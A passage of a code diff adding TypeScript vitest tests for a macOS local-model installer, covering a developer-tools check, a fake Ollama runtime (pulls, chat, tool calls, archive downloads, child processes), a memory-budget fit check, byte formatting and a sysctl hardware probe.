expect(await checkDeveloperTools({ platform: 'darwin', run: throwing })).toBe('unknown');
// An exit code that is no whole number is no answer either.
expect(await checkDeveloperTools({ platform: 'darwin', run: runner(Number.NaN).run })).toBe('unknown');
});
it('runs nothing off macOS and answers unknown', async () => {
for (const platform of ['linux', 'win32', 'freebsd']) {
const { run, calls } = runner(0);
expect(await checkDeveloperTools({ platform, run }), platform).toBe('unknown');
expect(calls).toEqual([]);
}
});
it('spawns nothing with the default runner under vitest', async () => {
// The real `execFile` is never reached here: on a Mac this would otherwise run the command.
expect(await checkDeveloperTools({ platform: 'darwin' })).toBe('unknown');
// And with no argument at all it answers for this machine without throwing.
expect(['present', 'missing', 'unknown']).toContain(await checkDeveloperTools());
});
});
describe('the cached check', () => {
it('reuses an answer for a minute, then asks again', async () => {
const { run, calls } = runner(2);
let clock = 1_000_000;
const check = createDeveloperToolsCheck({ platform: 'darwin', run, now: () => clock });
expect(await check()).toBe('missing');
// A window that polls once a second for a minute.
for (let second = 1; second < 60; second++) {
clock += 1_000;
expect(await check()).toBe('missing');
}
expect(calls).toHaveLength(1);
clock += 1_000;
expect(await check()).toBe('missing');
expect(calls).toHaveLength(2);
});
it('shares one run among callers that ask at the same time', async () => {
let release: (code: number) => void = () => undefined;
let started = 0;
const run: Run = () => {
started += 1;
return new Promise((resolve) => {
release = resolve;
});
};
const check = createDeveloperToolsCheck({ platform: 'darwin', run });
const asked = [check(), check(), check()];
await Promise.resolve();
expect(started).toBe(1);
release(0);
expect(await Promise.all(asked)).toEqual(['present', 'present', 'present']);
});
it('does not remember "unknown": a check that did not work is tried again', async () => {
let calls = 0;
// No answer the first time, exit 0 from then on.
const run: Run = async () => (calls++ === 0 ? null : 0);
const check = createDeveloperToolsCheck({ platform: 'darwin', run, now: () => 5 });
expect(await check()).toBe('unknown');
expect(await check()).toBe('present');
expect(await check()).toBe('present');
expect(calls).toBe(2);
});
it('sees the tools once they were installed, after the minute', async () => {
const answers = [2, 0];
let calls = 0;
let clock = 0;
const check = createDeveloperToolsCheck({
platform: 'darwin',
run: async () => answers[calls++] ?? 0,
now: () => clock,
});
expect(await check()).toBe('missing');
clock = 59_999;
expect(await check()).toBe('missing');
clock = 60_000;
expect(await check()).toBe('present');
});
});
+428
View File
@@ -0,0 +1,428 @@
/**
* @fileoverview Tests for test/fixtures/fake-ollama.ts, the fake model runtime every local
* model test runs against. A fake that answers in the wrong shape makes every test built on
* it prove nothing, so this file pins each answer and each switch once.
*
* It also shows how the fake is used: `startFakeOllama()` for a client test, and
* `createFakeOllama()` plus `fake.spawn` and `freeLoopbackPort()` for a supervisor test.
*
* Port: none fixed (the fake listens on 0; the spawn test reserves a free port first).
*/
import { execFile } from 'node:child_process';
import { createHash } from 'node:crypto';
import { mkdtemp, readFile, rm, stat, writeFile } from 'node:fs/promises';
import { tmpdir } from 'node:os';
import { join } from 'node:path';
import { promisify } from 'node:util';
import { afterEach, describe, expect, it } from 'vitest';
import {
buildFakeArchive,
createFakeOllama,
DEFAULT_FAKE_MODEL,
fakeRuntimeLog,
FakeRuntimeChild,
freeLoopbackPort,
INFERENCE_COMPUTE_LINE_MACBOOK,
MACBOOK_MEASURED_TOTAL_BYTES,
REAL_INFERENCE_COMPUTE_LINE_MAC_MINI,
REAL_PULL_ERROR_LINE,
startFakeOllama,
type FakeOllama,
} from './fixtures/fake-ollama.js';
const execFileAsync = promisify(execFile);
let fake: FakeOllama | undefined;
afterEach(async () => {
await fake?.close();
fake = undefined;
});
/** Every line of a pull, parsed. `cut` is true when the body ended in an error instead of a clean end. */
async function pull(target: FakeOllama, modelId = DEFAULT_FAKE_MODEL.id): Promise<{ lines: any[]; cut: boolean }> {
const res = await fetch(`${target.baseUrl}/api/pull`, {
method: 'POST',
headers: { 'content-type': 'application/json' },
body: JSON.stringify({ model: modelId, stream: true }),
});
let text = '';
let cut = false;
const decoder = new TextDecoder();
try {
for await (const chunk of res.body as unknown as AsyncIterable<Uint8Array>) {
text += decoder.decode(chunk, { stream: true });
}
} catch {
cut = true;
}
const lines = text
.split('\n')
.filter((line) => line.trim() !== '')
.map((line) => JSON.parse(line));
return { lines, cut };
}
async function getJson(target: FakeOllama, path: string): Promise<any> {
return (await fetch(`${target.baseUrl}${path}`)).json();
}
async function chat(target: FakeOllama, body: Record<string, unknown>): Promise<{ status: number; json: any }> {
const res = await fetch(`${target.baseUrl}/v1/chat/completions`, {
method: 'POST',
headers: { 'content-type': 'application/json' },
body: JSON.stringify({ model: DEFAULT_FAKE_MODEL.id, messages: [{ role: 'user', content: 'ping' }], ...body }),
});
return { status: res.status, json: await res.json() };
}
const TOOLS = [
{
type: 'function',
function: {
name: 'read_file',
description: 'Read a file',
parameters: { type: 'object', properties: { path: { type: 'string' } }, required: ['path'] },
},
},
];
describe('the fake runtime: listings', () => {
it('answers the version and an empty store in the real shapes', async () => {
fake = await startFakeOllama();
expect(fake.port).toBeGreaterThan(0);
expect(await (await fetch(`${fake.baseUrl}/`)).text()).toBe('Ollama is running');
expect(await getJson(fake, '/api/version')).toEqual({ version: '0.40.15' });
expect(await getJson(fake, '/api/tags')).toEqual({ models: [] });
expect(await getJson(fake, '/api/ps')).toEqual({ models: [] });
// The real runtime answers `data: null`, not an empty list, when it has no model.
expect(await getJson(fake, '/v1/models')).toEqual({ object: 'list', data: null });
});
it('lists an installed model with the digest, format and runner a Mac reports', async () => {
fake = await startFakeOllama({ installed: true });
const tags = await getJson(fake, '/api/tags');
expect(tags.models).toHaveLength(1);
expect(tags.models[0]).toMatchObject({
name: 'qwen3.6:35b-a3b',
size: 23_105_798_956,
digest: '0ce5ff81f9ffdf89dd8192ca7b5d34cefd8996a875b3aaaaafaf5c4813569eba',
details: { format: 'safetensors', quantization_level: 'nvfp4', runner: 'mlx' },
capabilities: ['completion', 'vision', 'tools', 'thinking'],
});
expect((await getJson(fake, '/v1/models')).data.map((m: { id: string }) => m.id)).toEqual(['qwen3.6:35b-a3b']);
});
it('records every request with its parsed body', async () => {
fake = await startFakeOllama({ installed: true });
await chat(fake, { reasoning_effort: 'none', max_tokens: 16 });
expect(fake.requests.at(-1)).toMatchObject({
method: 'POST',
path: '/v1/chat/completions',
body: { model: 'qwen3.6:35b-a3b', reasoning_effort: 'none', max_tokens: 16 },
});
});
});
describe('the fake runtime: pull', () => {
it('streams the MLX line shape of a Mac and installs the model', async () => {
fake = await startFakeOllama({ pull: { progressLines: 4 } });
const { lines, cut } = await pull(fake);
expect(cut).toBe(false);
expect(lines[0]).toEqual({ status: 'pulling manifest' });
expect(lines[1]).toEqual({ status: 'pulling model', digest: 'sha256:model', total: 23_105_798_956, completed: 0 });
expect(lines.slice(-3)).toEqual([
{ status: 'pulling model', digest: 'sha256:model', total: 23_105_798_956, completed: 23_105_798_956 },
{ status: 'writing manifest' },
{ status: 'success' },
]);
const completed = lines.filter((l) => l.status === 'pulling model').map((l) => l.completed);
expect(completed).toEqual([...completed].sort((a, b) => a - b));
expect(fake.state.installed).toBe(true);
expect((await getJson(fake, '/api/tags')).models).toHaveLength(1);
});
it('streams as many progress lines as asked for', async () => {
fake = await startFakeOllama({ pull: { progressLines: 5000 } });
const { lines } = await pull(fake);
expect(lines.filter((l) => l.status === 'pulling model')).toHaveLength(5001);
});
it('streams the GGUF shape: layers that announce themselves, then the digest check', async () => {
fake = await startFakeOllama({ pull: { shape: 'gguf', progressLines: 2 } });
const { lines } = await pull(fake);
const large = `sha256:${DEFAULT_FAKE_MODEL.digest}`;
// The first line of a layer has no `completed`.
expect(lines[1]).toEqual({ status: 'pulling 0ce5ff81f9ff', digest: large, total: 23_105_798_956 - 13_383 });
expect(lines.map((l) => l.status).slice(-3)).toEqual(['verifying sha256 digest', 'writing manifest', 'success']);
// The totals of all layers add up to the model.
const totals = new Map<string, number>();
for (const l of lines) if (l.digest) totals.set(l.digest, l.total);
expect([...totals.values()].reduce((a, b) => a + b, 0)).toBe(23_105_798_956);
});
it('ends on the real error line, then resumes where it stopped and succeeds', async () => {
fake = await startFakeOllama({ pull: { fail: 'error-line', failAfterLines: 3, failTimes: 1, progressLines: 6 } });
const first = await pull(fake);
expect(first.cut).toBe(false);
expect(JSON.stringify(first.lines.at(-1))).toBe(REAL_PULL_ERROR_LINE);
expect(first.lines.some((l) => l.status === 'success')).toBe(false);
expect(fake.state.installed).toBe(false);
const reached = fake.state.completedBytes;
expect(reached).toBeGreaterThan(0);
const second = await pull(fake);
// A resumed pull's first progress line starts at what is already on disk.
expect(second.lines[1].completed).toBe(reached);
expect(second.lines.at(-1)).toEqual({ status: 'success' });
expect(fake.state.pulls).toBe(2);
});
it('cuts the stream without a last line', async () => {
fake = await startFakeOllama({ pull: { fail: 'cut', failAfterLines: 2 } });
const { lines, cut } = await pull(fake);
expect(cut).toBe(true);
expect(lines.some((l) => l.status === 'success' || l.error)).toBe(false);
expect(fake.state.installed).toBe(false);
});
it('starts a first pull at resumeFrom', async () => {
fake = await startFakeOllama({ pull: { resumeFrom: 197_411_434, progressLines: 2 } });
const { lines } = await pull(fake);
expect(lines[1].completed).toBe(197_411_434);
});
it('says so when the registry has no such model', async () => {
fake = await startFakeOllama();
const unknown = await pull(fake, 'no-such:1b');
expect(unknown.lines.at(-1)).toEqual({ error: 'pull model manifest: file does not exist' });
fake.switches.pull.fail = 'not-found';
expect((await pull(fake)).lines.at(-1)).toEqual({ error: 'pull model manifest: file does not exist' });
});
it('stops sending when the client aborts, and remembers how far it got', async () => {
fake = await startFakeOllama({ pull: { progressLines: 200, lineDelayMs: 5 } });
const controller = new AbortController();
const res = await fetch(`${fake.baseUrl}/api/pull`, {
method: 'POST',
body: JSON.stringify({ model: DEFAULT_FAKE_MODEL.id, stream: true }),
signal: controller.signal,
});
const reader = res.body!.getReader();
await reader.read();
controller.abort();
await reader.read().catch(() => undefined);
await new Promise((resolve) => setTimeout(resolve, 50));
const reached = fake.state.completedBytes;
expect(fake.state.installed).toBe(false);
expect(reached).toBeLessThan(23_105_798_956);
await new Promise((resolve) => setTimeout(resolve, 50));
expect(fake.state.completedBytes).toBe(reached);
});
it('deletes the model', async () => {
fake = await startFakeOllama({ installed: true });
const del = (): Promise<Response> =>
fetch(`${fake!.baseUrl}/api/delete`, {
method: 'DELETE',
body: JSON.stringify({ model: DEFAULT_FAKE_MODEL.id }),
});
expect((await del()).status).toBe(200);
expect(fake.state.installed).toBe(false);
expect((await del()).status).toBe(404);
});
});
describe('the fake runtime: chat, the process list and the tool probe', () => {
it('answers a plain chat and lists the model as loaded, all on the GPU', async () => {
fake = await startFakeOllama({ installed: true });
expect((await getJson(fake, '/api/ps')).models).toEqual([]);
const { status, json } = await chat(fake, { reasoning_effort: 'none' });
expect(status).toBe(200);
expect(json.choices[0]).toEqual({
index: 0,
message: { role: 'assistant', content: 'pong' },
finish_reason: 'stop',
});
const [loaded] = (await getJson(fake, '/api/ps')).models;
expect(loaded).toMatchObject({ name: 'qwen3.6:35b-a3b', context_length: 131072, runner: 'mlx' });
expect(loaded.size_vram).toBe(loaded.size);
});
it('can report a model that is partly off the GPU, or loaded at another context', async () => {
fake = await startFakeOllama({ installed: true, ps: { size: 30e9, sizeVram: 20e9 } });
await chat(fake, {});
expect((await getJson(fake, '/api/ps')).models[0]).toMatchObject({ size: 30e9, size_vram: 20e9 });
fake.switches.ps = { contextLength: 32768 };
expect((await getJson(fake, '/api/ps')).models[0].context_length).toBe(32768);
fake.switches.ps = { loaded: false };
expect((await getJson(fake, '/api/ps')).models).toEqual([]);
});
it('answers 404 in the real error shape for a model it does not have', async () => {
fake = await startFakeOllama();
const { status, json } = await chat(fake, {});
expect(status).toBe(404);
expect(json).toEqual({
error: { message: "model 'qwen3.6:35b-a3b' not found", type: 'not_found_error', param: null, code: null },
});
});
it('can fail the chat that loads the model', async () => {
fake = await startFakeOllama({ installed: true, chat: 'error' });
expect((await chat(fake, {})).status).toBe(500);
expect((await getJson(fake, '/api/ps')).models).toEqual([]);
});
it('calls the tool it was given, with arguments that parse', async () => {
fake = await startFakeOllama({ installed: true });
const { json } = await chat(fake, { tools: TOOLS, reasoning_effort: 'none', max_tokens: 1024 });
const choice = json.choices[0];
expect(choice.finish_reason).toBe('tool_calls');
expect(choice.message.tool_calls).toHaveLength(1);
expect(choice.message.tool_calls[0]).toMatchObject({ type: 'function', function: { name: 'read_file' } });
expect(JSON.parse(choice.message.tool_calls[0].function.arguments)).toEqual({ path: 'README.md' });
});
it('can answer without a tool call, run into the token limit, or send arguments that do not parse', async () => {
fake = await startFakeOllama({ installed: true, tool: 'none' });
let choice = (await chat(fake, { tools: TOOLS })).json.choices[0];
expect(choice.finish_reason).toBe('stop');
expect(choice.message.tool_calls).toBeUndefined();
fake.switches.tool = 'length';
choice = (await chat(fake, { tools: TOOLS })).json.choices[0];
expect(choice.finish_reason).toBe('length');
expect(choice.message.content).toBe('');
expect(choice.message.tool_calls).toBeUndefined();
fake.switches.tool = 'bad-arguments';
choice = (await chat(fake, { tools: TOOLS })).json.choices[0];
expect(() => JSON.parse(choice.message.tool_calls[0].function.arguments)).toThrow();
});
});
describe('the fake runtime: the archive', () => {
it('serves an archive whose size and hash are the pin it hands out', async () => {
fake = await startFakeOllama();
const pin = fake.pin();
expect(pin.url).toBe(`${fake.baseUrl}/download/ollama-darwin.tgz`);
const res = await fetch(pin.url);
const body = Buffer.from(await res.arrayBuffer());
expect(res.status).toBe(200);
expect(body.length).toBe(pin.bytes);
expect(createHash('sha256').update(body).digest('hex')).toBe(pin.sha256);
});
it('continues from a Range request', async () => {
fake = await startFakeOllama();
const res = await fetch(fake.pin().url, { headers: { range: 'bytes=10-' } });
expect(res.status).toBe(206);
expect(res.headers.get('content-range')).toBe(`bytes 10-${fake.archive.size - 1}/${fake.archive.size}`);
expect(Buffer.from(await res.arrayBuffer()).equals(fake.archive.body.subarray(10))).toBe(true);
expect((await fetch(fake.pin().url, { headers: { range: `bytes=${fake.archive.size}-` } })).status).toBe(416);
});
it('cuts the body the first time only, so a Range request can finish it', async () => {
fake = await startFakeOllama({ archive: { cutAfterBytes: 20 } });
const first = await fetch(fake.pin().url);
const got: Buffer[] = [];
await (async () => {
for await (const chunk of first.body as unknown as AsyncIterable<Uint8Array>) got.push(Buffer.from(chunk));
})().catch(() => undefined);
const head = Buffer.concat(got);
expect(head.length).toBe(20);
const rest = await fetch(fake.pin().url, { headers: { range: 'bytes=20-' } });
const whole = Buffer.concat([head, Buffer.from(await rest.arrayBuffer())]);
expect(createHash('sha256').update(whole).digest('hex')).toBe(fake.archive.sha256);
expect(fake.state.archiveRequests).toBe(2);
});
it('can ignore Range, or answer another status', async () => {
fake = await startFakeOllama({ archive: { ignoreRange: true } });
expect((await fetch(fake.pin().url, { headers: { range: 'bytes=10-' } })).status).toBe(200);
fake.switches.archive.status = 503;
expect((await fetch(fake.pin().url)).status).toBe(503);
});
it('is a real archive that tar unpacks to an executable', async () => {
const dir = await mkdtemp(join(tmpdir(), 'fake-ollama-archive-'));
try {
const archive = join(dir, 'runtime.tgz');
await writeFile(archive, buildFakeArchive({ ollama: '#!/bin/sh\necho hello\n', LICENSE: 'text\n' }));
await execFileAsync('tar', ['-xzf', archive, '-C', dir]);
expect(await readFile(join(dir, 'LICENSE'), 'utf8')).toBe('text\n');
expect((await stat(join(dir, 'ollama'))).mode & 0o111).not.toBe(0);
expect((await execFileAsync(join(dir, 'ollama'))).stdout).toBe('hello\n');
} finally {
await rm(dir, { recursive: true, force: true });
}
});
});
describe('the fake runtime: the child process', () => {
it('holds the real log lines with the device total', () => {
expect(REAL_INFERENCE_COMPUTE_LINE_MAC_MINI).toContain('total="11.8 GiB" available="11.8 GiB"');
expect(INFERENCE_COMPUTE_LINE_MACBOOK).toContain('total="37.4 GiB" available="37.4 GiB"');
expect(MACBOOK_MEASURED_TOTAL_BYTES).toBe(Math.floor(37.4 * 1024 ** 3));
expect(fakeRuntimeLog('37.4 GiB')[2]).toContain('msg="inference compute"');
});
it('listens on the port of OLLAMA_HOST once spawned, logs the budget, and is gone when killed', async () => {
const port = await freeLoopbackPort();
fake = createFakeOllama({ installed: true });
expect(fake.listening).toBe(false);
const child = fake.spawn('/somewhere/ollama', ['serve'], {
env: { OLLAMA_HOST: `127.0.0.1:${port}`, HOME: '/private/home' },
}) as unknown as FakeRuntimeChild;
let log = '';
child.stderr.on('data', (chunk: Buffer) => (log += chunk.toString('utf8')));
await new Promise((resolve) => setTimeout(resolve, 50));
expect(child.pid).toBeGreaterThan(4_194_304);
expect(child.env.HOME).toBe('/private/home');
expect(fake.port).toBe(port);
expect(await getJson(fake, '/api/version')).toEqual({ version: '0.40.15' });
expect(log).toContain('msg="inference compute"');
expect(log).toContain('total="37.4 GiB"');
const exited = new Promise<[number | null, string | null]>((resolve) =>
child.once('exit', (code, signal) => resolve([code, signal]))
);
expect(child.kill('SIGTERM')).toBe(true);
expect(await exited).toEqual([null, 'SIGTERM']);
expect(fake.listening).toBe(false);
await expect(fetch(`http://127.0.0.1:${port}/api/version`)).rejects.toThrow();
expect(fake.state.children).toEqual([child]);
});
it('can start without ever listening, exit at once, leave the budget out, or crash later', async () => {
const port = await freeLoopbackPort();
const env = { OLLAMA_HOST: `127.0.0.1:${port}` };
fake = createFakeOllama({ spawn: { neverListens: true, logsBudget: false } });
const silent = fake.spawn('ollama', ['serve'], { env }) as unknown as FakeRuntimeChild;
let log = '';
silent.stderr.on('data', (chunk: Buffer) => (log += chunk.toString('utf8')));
await new Promise((resolve) => setTimeout(resolve, 30));
expect(fake.listening).toBe(false);
expect(log).toContain('Listening on');
expect(log).not.toContain('inference compute');
fake.switches.spawn = { neverListens: false, exitsAtOnce: 2, total: '37.4 GiB', logsBudget: true };
const dead = fake.spawn('ollama', ['serve'], { env }) as unknown as FakeRuntimeChild;
const code = await new Promise((resolve) => dead.once('exit', resolve));
expect(code).toBe(2);
fake.switches.spawn.exitsAtOnce = undefined;
const alive = fake.spawn('ollama', ['serve'], { env }) as unknown as FakeRuntimeChild;
await new Promise((resolve) => setTimeout(resolve, 30));
expect(fake.listening).toBe(true);
const crashed = new Promise((resolve) => alive.once('exit', resolve));
alive.crash(137);
expect(await crashed).toBe(137);
expect(fake.listening).toBe(false);
});
});
+136
View File
@@ -0,0 +1,136 @@
/**
* @fileoverview Tests for `modelFitsBudget()` of src/local-model/recommend.ts: the judgement
* the install job makes before it downloads a model.
*
* Pinned: it agrees with what `recommend()` offers (a model that is the pick or listed fits,
* a model that is in neither and is not left out for its rank does not), it does not depend
* on the ranking, a model the catalogue does not have never fits, and it judges against the
* budget the runtime measured when the caller passes one (the whole point of asking again
* after the runtime started).
*
* Port: N/A (pure functions).
*/
import { describe, expect, it } from 'vitest';
import { getLocalModelCatalog } from '../src/config/local-model-catalog.js';
import { formatGb, memClassGb } from '../src/local-model/format.js';
import { modelFitsBudget, recommend } from '../src/local-model/recommend.js';
import type { HardwareFacts, HarnessFact } from '../src/types.js';
/** A Mac with Apple silicon and `gb` GB of memory as sold. */
function mac(gb: number, chip = 'Apple M5 Pro'): HardwareFacts {
const memBytes = gb * 1024 ** 3;
return {
platform: 'darwin',
arch: 'arm64',
arm64: true,
translated: false,
memBytes,
memGb: formatGb(memBytes),
memClassGb: memClassGb(memBytes),
chip,
macosMajor: 27,
macosVersion: '27.2',
wiredLimitMb: 0,
source: 'sysctl',
};
}
/** Every harness of the catalogue, installed and accepting every model id. */
function harnessFacts(): HarnessFact[] {
return getLocalModelCatalog().harnesses.map((row) => ({
cli: row.cli,
label: row.cli,
installed: true,
installable: false,
acceptsModelId: () => true,
}));
}
describe('modelFitsBudget', () => {
const catalog = getLocalModelCatalog();
it('agrees with the recommendation on every model and context of the catalogue', () => {
for (const gb of [8, 16, 24, 32, 48, 64, 128]) {
const hw = mac(gb);
const offered = recommend(hw, catalog, harnessFacts());
const rows = [offered.pick, ...offered.alternatives].filter((row) => row !== undefined);
// Whatever the recommendation offers fits at the context it offers it at.
for (const row of rows) {
expect(modelFitsBudget(hw, catalog, row.modelId, row.context), `${gb} GB ${row.modelId}`).toBe(true);
}
// A Mac that gets no recommendation for lack of memory has no model that fits at a
// context a harness works at.
if (offered.verdict === 'none') {
const smallestHarnessContext = Math.min(...catalog.harnesses.filter((h) => !h.gated).map((h) => h.minContext));
for (const model of catalog.models) {
for (const context of model.contexts.filter((ctx) => ctx >= smallestHarnessContext)) {
expect(modelFitsBudget(hw, catalog, model.id, context), `${gb} GB ${model.id}`).toBe(false);
}
}
}
}
});
it('does not depend on the ranking: a model that fits and is listed nowhere still fits', () => {
// On a 128 GB Mac more models fit than the recommendation lists.
const hw = mac(128, 'Apple M5 Max');
const offered = recommend(hw, catalog, harnessFacts());
const listed = new Set([offered.pick, ...offered.alternatives].map((row) => row?.modelId));
const unlisted = catalog.models.filter((model) => !listed.has(model.id));
expect(unlisted.length).toBeGreaterThan(0);
for (const model of unlisted) {
expect(modelFitsBudget(hw, catalog, model.id, model.contexts.at(-1) as number), model.id).toBe(true);
}
});
it('rules out a model that is too large, and one the catalogue does not have', () => {
expect(modelFitsBudget(mac(48), catalog, 'qwen3.5:122b-a10b', 131072)).toBe(false);
expect(modelFitsBudget(mac(48), catalog, 'no-such:1b', 65536)).toBe(false);
expect(modelFitsBudget(mac(48), catalog, 'qwen3.6:35b-a3b', 131072)).toBe(true);
});
it('judges against the budget the runtime measured, when it is given one', () => {
const id = 'qwen3.6:35b-a3b';
// The MacBook: the runtime reported 37.4 GiB, and the model needs 36.0 of those 40.2 GB.
expect(modelFitsBudget(mac(48), catalog, id, 131072, { measuredTotalBytes: 40_157_944_217 })).toBe(true);
// A runtime that reports less than the estimate rules out what the estimate allowed.
expect(modelFitsBudget(mac(48), catalog, id, 131072, { measuredTotalBytes: 33 * 1024 ** 3 })).toBe(false);
// And one that reports more admits what the estimate ruled out: the 27B on a 36 GB Mac.
expect(modelFitsBudget(mac(36), catalog, 'qwen3.8:27b', 65536)).toBe(false);
expect(modelFitsBudget(mac(36), catalog, 'qwen3.8:27b', 65536, { measuredTotalBytes: 27 * 1024 ** 3 })).toBe(true);
// The reserve still bounds it: 100 GiB "measured" on a 48 GB Mac is 40 GiB (42.9 GB) of
// budget, so the Q8 27B with its 42.8 GB stays out (0.997) although 100 GiB would hold it.
const huge = { measuredTotalBytes: 100 * 1024 ** 3 };
expect(modelFitsBudget(mac(48), catalog, 'qwen3.8:27b-q8_0', 131072, huge)).toBe(false);
expect(modelFitsBudget(mac(128), catalog, 'qwen3.8:27b-q8_0', 131072, huge)).toBe(true);
});
it('agrees with the recommendation under a measured budget too', () => {
for (const [gb, measuredGib] of [
[16, 11.8],
[32, 20],
[48, 37.4],
[48, 30],
[64, 50],
]) {
const hw = mac(gb);
const options = { measuredTotalBytes: Math.floor(measuredGib * 1024 ** 3) };
const offered = recommend(hw, catalog, harnessFacts(), options);
expect(offered.verdict === 'none' || offered.budgetSource === 'measured').toBe(true);
for (const row of [offered.pick, ...offered.alternatives].filter((entry) => entry !== undefined)) {
expect(modelFitsBudget(hw, catalog, row.modelId, row.context, options), `${gb} GB ${row.modelId}`).toBe(true);
// The next larger context of the same model does not fit, or the row would be at it.
const model = catalog.models.find((entry) => entry.id === row.modelId);
const larger = model?.contexts.filter((ctx) => ctx > row.context) ?? [];
for (const ctx of larger) expect(modelFitsBudget(hw, catalog, row.modelId, ctx, options)).toBe(false);
}
}
});
it('is false for a context that is no token count', () => {
for (const context of [0, -1, Number.NaN, Number.POSITIVE_INFINITY]) {
expect(modelFitsBudget(mac(128), catalog, 'qwen3.5:9b', context), String(context)).toBe(false);
}
});
});
+86
View File
@@ -0,0 +1,86 @@
/**
* @fileoverview Tests for src/local-model/format.ts: the ONE place a byte count becomes a size a
* person reads, and the memory class a Mac is sold as.
*
* What is pinned here is a contract with the browser: it prints the text it was sent and adds
* ' GB' itself, so the text must be decimal GB, carry no unit, and round the same way everywhere.
*
* Port: N/A (pure functions).
*/
import { describe, expect, it } from 'vitest';
import { formatGb, GB, GIB, memClassGb, MIB } from '../src/local-model/format.js';
describe('byte units', () => {
it('keeps decimal GB (what a person reads) apart from the binary units of the budget math', () => {
expect(GB).toBe(1_000_000_000);
expect(GIB).toBe(1_073_741_824);
expect(MIB).toBe(1_048_576);
});
});
describe('formatGb', () => {
it('prints decimal GB, so a Mac sold as 16 GB reads 17.2 and one sold as 48 GB reads 51.5', () => {
expect(formatGb(17_179_869_184)).toBe('17.2');
expect(formatGb(51_539_607_552)).toBe('51.5');
});
it('prints the registry sizes of the catalogue models as the registry shows them', () => {
expect(formatGb(6_550_825_373)).toBe('6.6');
expect(formatGb(13_793_441_427)).toBe('13.8');
expect(formatGb(17_741_871_939)).toBe('17.7');
expect(formatGb(22_621_314_161)).toBe('22.6');
expect(formatGb(81_370_035_877)).toBe('81.4');
});
it('keeps one decimal below 100 and none from 100', () => {
expect(formatGb(1 * GB)).toBe('1.0');
expect(formatGb(99.94 * GB)).toBe('99.9');
// Rounds to 100.0, which is already "from 100".
expect(formatGb(99.96 * GB)).toBe('100');
expect(formatGb(100 * GB)).toBe('100');
// The free disk of the two test Macs, from their `df -k` lines.
expect(formatGb(890_926_084 * 1024)).toBe('912');
expect(formatGb(41_752_848 * 1024)).toBe('42.8');
});
it('never prints a unit, a thousands separator or an exponent', () => {
for (const bytes of [1, 5 * MIB, 3 * GIB, 250 * GB, 4000 * GB, 2.5e15]) {
expect(formatGb(bytes)).toMatch(/^\d+(\.\d)?$/);
}
});
it("reads '0.0' for anything that is not a positive size", () => {
for (const bytes of [0, -1, -5 * GB, Number.NaN, Number.POSITIVE_INFINITY, Number.NEGATIVE_INFINITY]) {
expect(formatGb(bytes)).toBe('0.0');
}
});
it('shows a size too small for one decimal as 0.0, never as an empty text', () => {
expect(formatGb(10 * MIB)).toBe('0.0');
expect(formatGb(512 * MIB)).toBe('0.5');
});
});
describe('memClassGb', () => {
it('names the size a Mac is sold as: whole binary gigabytes', () => {
for (const sold of [8, 16, 18, 24, 32, 36, 48, 64, 96, 128, 192]) {
expect(memClassGb(sold * GIB)).toBe(sold);
}
// The exact `hw.memsize` of the two test Macs.
expect(memClassGb(17_179_869_184)).toBe(16);
expect(memClassGb(51_539_607_552)).toBe(48);
});
it('rounds a size that is not a whole number of gigabytes', () => {
// `hw.memsize_usable` of the 16 GB test Mac is a little below 16 GiB.
expect(memClassGb(16_631_808_000)).toBe(15);
expect(memClassGb(16 * GIB - 100 * MIB)).toBe(16);
});
it('reads 0 for anything that is not a positive size', () => {
for (const bytes of [0, -1, Number.NaN, Number.POSITIVE_INFINITY]) {
expect(memClassGb(bytes)).toBe(0);
}
});
});
+749
View File
@@ -0,0 +1,749 @@
/**
* @fileoverview Tests for src/local-model/hardware.ts: the probe that tells the recommendation
* what this Mac is.
*
* Two halves, mirroring the module:
*
* 1. `parseSysctl()`, pure. Fed the REAL output of the probe command on the two test Macs (a
* MacBook Pro with an M5 Pro and 48 GB, a Mac mini with an M4 and 16 GB), copied here
* character for character with the extra lines the capture holds, plus an Intel-shaped
* output (three of the seven keys do not exist there) and outputs cut off mid-line.
* 2. `readHardware()`, with every piece of IO injected: nothing is spawned and no real disk is
* read. What is pinned: a failed spawn is an ANSWER (the `os-fallback` shape), nothing is
* spawned off macOS, the result is cached for 60 s and concurrent callers share one probe.
*
* The IO itself is tested apart, against things this suite controls:
*
* 3. `spawnSysctl()` runs a small shell script of the test in place of sysctl. That proves what
* a fake cannot: the arguments are the seven keys and nothing else, the output of a program
* that exits 1 is still read (an Intel Mac lacks three keys, so sysctl exits 1 there), a
* program that hangs is given up on, and the server's environment is not handed over.
* 4. `dataDirFreeBytes()` with injected probes: a folder that does not exist yet, a mount that
* does not answer, and a `statfs` that never comes back, which must not be started twice.
*
* One test at the end runs the real defaults once (the real spawn and the real `statfs`), to
* prove they cannot reject on whatever machine runs the suite. On Linux `sysctl` knows none of
* the keys, so that run ends in the fallback; on a Mac it ends in a real answer. Both are fine.
*
* Port: N/A (no server).
*/
import { mkdtempSync, rmSync, writeFileSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { isAbsolute, join } from 'node:path';
import { afterEach, beforeEach, describe, expect, it } from 'vitest';
import {
dataDirFreeBytes,
FREE_DISK_TIMEOUT_MS,
freeDiskBytesOf,
HARDWARE_CACHE_TTL_MS,
parseSysctl,
readHardware,
resetHardwareCache,
spawnSysctl,
SYSCTL_KEYS,
SYSCTL_PATH,
SYSCTL_TIMEOUT_MS,
type HardwareProbeDeps,
} from '../src/local-model/hardware.js';
/**
* The capture of the MacBook Pro (Mac17,13), 2026-11-06. The last four lines are not part of
* the probe: two extra keys the capture asked for, the shell's exit status and a `df -k` line.
*/
const MACBOOK_SYSCTL = `hw.memsize: 51539607552
machdep.cpu.brand_string: Apple M5 Pro
hw.optional.arm64: 1
sysctl.proc_translated: 0
iogpu.wired_limit_mb: 0
kern.osproductversion: 27.2
hw.model: Mac17,13
hw.perflevel0.physicalcpu: 6
hw.perflevel1.physicalcpu: 12
exit=0
/dev/disk3s5 971094180 54383564 890926084 6% 542146 8909260840 0% /System/Volumes/Data
`;
/** The capture of the Mac mini (Mac16,10), 2026-11-06, with the same four extra lines. */
const MACMINI_SYSCTL = `hw.memsize: 17179869184
machdep.cpu.brand_string: Apple M4
hw.optional.arm64: 1
sysctl.proc_translated: 0
iogpu.wired_limit_mb: 0
kern.osproductversion: 27.2
hw.model: Mac16,10
hw.perflevel0.physicalcpu: 4
hw.perflevel1.physicalcpu: 6
exit=0
/dev/disk3s5 239362496 172954124 41752848 81% 2353838 417528480 1% /System/Volumes/Data
`;
/** Free disk of the two Macs: the "available" column of their `df -k` lines, in bytes. */
const MACBOOK_FREE_DISK = 890_926_084 * 1024;
